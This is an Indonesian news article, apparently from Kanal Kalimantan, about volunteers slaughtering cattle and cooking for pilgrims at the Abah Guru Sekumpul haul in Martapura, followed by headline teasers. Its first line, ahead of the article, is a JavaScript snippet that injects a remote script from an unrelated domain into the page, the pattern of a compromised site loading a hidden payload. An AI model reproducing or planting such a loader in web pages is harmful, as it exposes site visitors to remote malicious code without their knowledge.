(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Semua sibuk. Begitulah suasana sehari jelang haul akbar ke-13 Abah Guru Sekumpul di Martapura, Minggu (25/3). Dan tentu saja, di antara yang paling sibuk adalah para relawan yang bertugas di bagian dapur umum. Ya, merekalah yang bertanggungjawab terhadap konsumsi bagi 1,5 juta jamaah yang diperkirakan akan hadir besok.
Seperti halnya terlihat di kediaman rumah Sarkani Citra, yang menjadi slaah satu lokasi dapur umum. Sejak pagi hari, di tempat ini telah menyembelin 19 ekor sapi dan 3 ekor kambing dengan berat total 2 ton lebih daging yang didapat. Puluhan warga datang silih berganti membantu dalam proses penyembelihan dan pengolahannya.
Berbagai macam menu yang diolah dari nasi samin, nasi mandi, masak habang, kari, dan lain lain. Untuk kaum laki-laki bertugas menyembelih, membersihkan dan memasak sedangkan kaum wanita mengolah bumbu yang akan di masukkan dalam setiap menu. Persiapan pun dilaksanakan sejak seminggu yang lalu baik itu bahan pokok, alat memasak, dan kayu untuk bahan bakarnya
Dalam kerumunan tersebut, terlihat juga KH Zuhdiannor atau Guru Zuhdi yang tampak serius mengarahkan warga agar tidak salah memasukkan bahan masakan. Termasuk menjaga serta mengawas proses penyembelihan hewan tersebut.
“Dari umat untuk umat, kita semua bekerjasama untuk menyambut tamu yang jauh” ujar beliau.
Sebagai tuan rumah, Sarkani merasa terhormat karena mendapatkan kepercayaan orang banyak untuk mengelola khususnya keperluan makan jamaah haul yang sangat banyak.
Dia yang menyediakan halaman rumahnya sebagai dapur umum. Untuk hari minggu atau puncak haul nanti juga telah menyiapkan ribuan bungkus makanan dengan berbagai macam jenis masakan khas Martapura yang dominan mengarah pada menu negeri arab tersebut.
Jika diperhitungkan dalam 2 ton tersebut dalam satu kilogram bisa untuk 25 bungkus bahkan Sarkani pun tidak bisa menghitung berapa banyak makanan yang tersedia. “Nanti makannya kita sebar kalo masih ada lebihan kami tarus di pos makanan gratis,” ujarnya
Jika dihitunga berapa rupiah yang terpakai, Sarkani sendiri tidak tau berapa jumlahnya. Sebab selalu saja ada datang bantuan maupun donasi dari orang yang tidak di kenal. Bahkan kelebihan tersebut dibagi kepada pos dapur lainnya yang mampu mengolah makanan tersebut. (devi)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.